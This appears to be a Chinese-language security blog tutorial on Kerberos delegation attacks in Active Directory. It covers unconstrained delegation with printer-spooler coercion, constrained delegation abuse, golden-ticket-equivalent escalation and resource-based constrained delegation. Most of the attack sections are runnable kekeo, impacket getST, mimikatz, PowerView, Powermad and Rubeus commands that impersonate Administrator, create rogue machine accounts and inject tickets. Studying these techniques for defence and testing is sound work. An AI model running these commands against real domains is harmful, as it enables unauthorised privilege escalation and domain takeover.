委派详解
委派详解
Kerberos委派攻击
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
使用场景:
例如
用户A
需要访问服务用户B
提供的http
服务,但是B的http服务调用了用户C
的mssql
服务,这个时候如果B设置了委派属性,B可以A的身份委访问C的服务。
非约束委派
机器用户和服务用户默认可开启委派,非约束委派顾名思义即为通过其可委派任何服务。当用户请求该账户时,会发送自己的TGT,并保存在该服务账户的内存中,该账户即可通过此票据以用户的身份请求访问任何服务。
1 |
|
winrm远程执行命令:
1 |
|
非约束委派+打印机
非约束委派需要用户主动连接,因此稍显鸡肋,但是我们可以通过 windows 的远程打印服务,强制运行spooler.exe的机器对我们选择的目标进行身份验证。
poc: https://github.com/leechristensen/SpoolSample
1 |
|
约束委派
顾名思义,被委派用户不能随意访问服务,只能访问被限定的服务内容。委派时保留st1而不是tgt给账户,st1包含用户授权信息但不允许其代表用户访问任意其他服务。
微软为保证委派的安全性引入S4U协议,该协议支持两个扩展:S4U2self、S4U2proxy。**2self代表自身请求代表自身的st、2proxy代表代替用户请求代表用户的st**。约束委派限制了2proxy的范围。
其中步骤1-4代表 S4U2Self
请求的过程,步骤5-10代表 S4U2proxy
的请求过程
约束委派的利用
常规利用
利用结果很像是白银票据,但是并不需要直接获得想要请求的服务的hash
通过服务用户的明文或者ntlm,伪造用户发起s4u请求,伪装成任意用户访问被委派的服务。
1
2
3
4
5
6
7
8
9
10
11利用工具:kekeo.exe
条件:1.服务用户的明文or哈希
2.委派权限
1. 通过服务用户的口令请求tgt
> tgt::ask /user:fuwu /domain:test.local /password:password
# 将会在目录生成票据
2. 以administrator身份请求对其他服务的st(服务票据)
> tgs::s4u /tgt:TGT_fuwu@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/dm08.test.local
3. 导入st
> kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~dm08.test.local@TEST.LOCAL.kirbi约束委派加黄金票据
通过将被委派对象设置成krbtgt,可以达成和黄金票据一样的效果(同理,就和获得了krbtgt的hash可以制作金票一样,本身就是白银票据的效果)
可以用
impacket
系列的getST
向KDC请求administrator的TGT1
2
3
4
5getST.exe -dc-ip 192.168.141.145 -spn krbtgt/test.local -impersonate Administrator test.local/fuwu:password
# -impersonate:表示伪造用户
# -spn:表示我们要委派的服务的spn,这里是TGS
# -dc-ip:域控ip执行成功会生成一个域控的缓存文件,使用mimikatz的ptc将其导入
1
kerberos::ptc Administrator.cache
基于资源的约束委派
- 不再需要域管理员权限去设置相关属性。基于资源的约束委派把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
- 就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
- 利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击。(获取机器的system权限)
基于资源的约束委派的利用
还是利用之前的例子来做说明:
- 目标机器:vul.test.local
- 用户:test.local\user1(对目标机器有写权限 )
利用过程如下:
查看用户权限,利用harmj0y的PowerView
1
2
3
4Get-DomainUser -Identity user1 -Properties objectsid
# 获取用户的sid
Get-DomainObjectAcl -Identity vul | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
# 根据sid查询用户对机器的权限GenericAll、GenericWrite、WriteProperty、WriteDacl
等权限可修改机器属性创建一个机器用户,使用Powermad
1
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "fuwu" -AsPlainText -Force)
创建一个计算机用户
fuwusystem
配置fuwusystem到vul的基于资源约束的委派(PowerView)
1
2
3
4
5
6$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
# 生成代表属性值的字节型数组
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer vul| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 设置属性值验证是否成功添加
1
Get-DomainComputer vul -Properties msds-allowedtoactonbehalfofotheridentity
清除
msds-allowedtoactonbehalfofotheridentity
属性的值1
Set-DomainObject vul -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
也可以直接通过AD模块修改(server2012及以上)
1
2Set-ADComputer vul -PrincipalsAllowedToDelegateToAccount fuwusystem$
Get-ADComputer vul -Properties PrincipalsAllowedToDelegateToAccount该模块仅在域控安装,可将域控的
Microsoft.ActiveDirectory.Management.dll
文件导出1
import-module Microsoft.ActiveDirectory.Management.dll
之后的攻击步骤与约束委派相同
1
getST.exe -dc-ip 192.168.141.145 -spn cifs/dm2008 -impersonate Administrator test.local/fuwusystem$:password
设置了不可委派的用户的利用
域内高权限用户是默认不可被委派的(例如adminsitrator)即s4u2self不可转发,s4u2proxy转发会失败
国外的师傅分析了原因是S4U2self返回的票据缺失SPN,那只需要补全即可
Rubeus实现了这个功能:
先将s4u2self票据导出为test.kirbi
补全spn
1
2Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/vul /ptt
Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/vul /ptt
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!